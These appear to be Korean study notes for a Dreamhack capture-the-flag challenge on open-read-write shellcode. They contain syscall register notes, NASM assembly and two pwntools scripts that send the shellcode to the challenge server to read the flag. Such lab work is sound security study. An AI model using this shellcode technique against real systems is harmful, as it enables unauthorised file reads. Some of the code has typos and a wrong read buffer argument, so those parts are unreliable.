- 셸코드 : 익스플로잇 위해 제작된 어셈블리 코드 조각
- rip를 자신이 작성한 셸코드로 옮기는 것이 중요
- exploit : 시스템 공격하는 행위
- orw shell code : 파일 열고, 읽은 뒤 화면에 출력하는 셸코드
#define 0_RDONLY 0
#define 0_WRONLY 1
#define 0_RDWR 2
Char buf[0x30];
Int fd = open(“/tmp/flag”, RD_ONLY, NULL);
read(fd, but, 0x30);
write(1, buf, 0x30);
- rax : 0x02
- rdi : const char *filename
- rsi : int flags
- rdx : umode_t mode
Int fd = open(“/tmp/flag”, RD_ONLY, NULL);
- "/tmp/flag" 문자열을 메모리에 위치시켜야함 이후 리틀엔디안형식으로 변환
- stack은 8바이트 단위로만 값 push 가능 8바이트 단위로 나누어줌
- rsi : 0 => xor rsi, rsi / mov rsi, 0
- rdx : mode = 0 -> mov rdx, 0 / xor rdx, rdx
- rax : mov rax, 0x2
- rax : 0x00
- arg0(rdi) : unsigned int fd
- arg1(rsi) : char *buf
- arg2(rdx) : size_t count
read(fd, but, 0x30);
- open의 return 값은 %rax로 저장 => mov %rdi, %rax
- rsi : 데이터 저장할 주소 : 0x30만큼 읽을 것 => mov rsi, rsp / sub rsi, 0x30
- rdx : 0x30 => mov rdx, 0x30
- read수행 위해 rax 0으로 설정 => mov rax, 0 / xor rax, rax
- rax : 0x01
- rdi : unsigned int fd
- rsi : const char *buf
- rdx : size_t count
write(1, buf, 0x30);
- rdi 0x1로 설정 => fd = 1 / 0 = 일반 입력 / 1 = 일반 출력 / 2 = 일반 오류
- rsi, rdx 그대로
- mov rax, 1
해당문제는 2개의 풀이방법이 존재하였다.
1. asmbly 언어를 직접 작성하여 hexdump를 이용해 shellcode를 직접 주입하는 방법
2. pwntools 에서 제공하는 메서드를 이용하여 orw 셸코드를 작성하는 방법
global _open
_open:
;path를 hex로 변환후 little endian으로 변환시켜 스택에 push
push 0x0
mov rax, 0x676E6F6F6F6F6F ;8byte 단위로 push하여야함
push rax
mov rax, 0x676E6F6F6F6F6F
push rax
mov rax, 0x6D616E5F67616C
push rax
mov rax, 0x662F6369736162
push rax
mov rax, 0x5F6C6C6568732F
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall ;open
mov rdi, rax
mov rsi, 0x30
mov rdx, 0x30
mov rax, 0
syscall ;read
mov rdi, 1
mov rax, 1
syscall ;write
xor rdi, rdi
mov rax, 0x3c
syscall ;exit
- object file 생성
nasm -f elf64 filename.asm
- bin 파일 생성
objcopy --dump-section .text=filename.bin filename.o
- 해당 파일 출력
xxd filname.bin
#! /usr/bin/python3
file_path = "./write.bin"
with open(file_path, "rb") as file:
machine_code = file.read()
for byte in machine_code:
print("\\x{:02x}".format(byte), end="")
print()
#! /usr/bin/python3
from pwn import *
p = remote("host3.dreamhack.games", 11673)
context.arch = "amd64"
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter("shellcode: ", shellcode)
print(p.recv(1024))
#! /usr/bin/python3
from pwn import *
p = remote('host3.dreamhack.games', 8658)
context.arch = "amd64"
r = "/home/shell_basic/flag_name_is_loooooong"
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
p.recvuntil("shellcode: " )
p.sendline(asm(shellcode))
print(p.recv())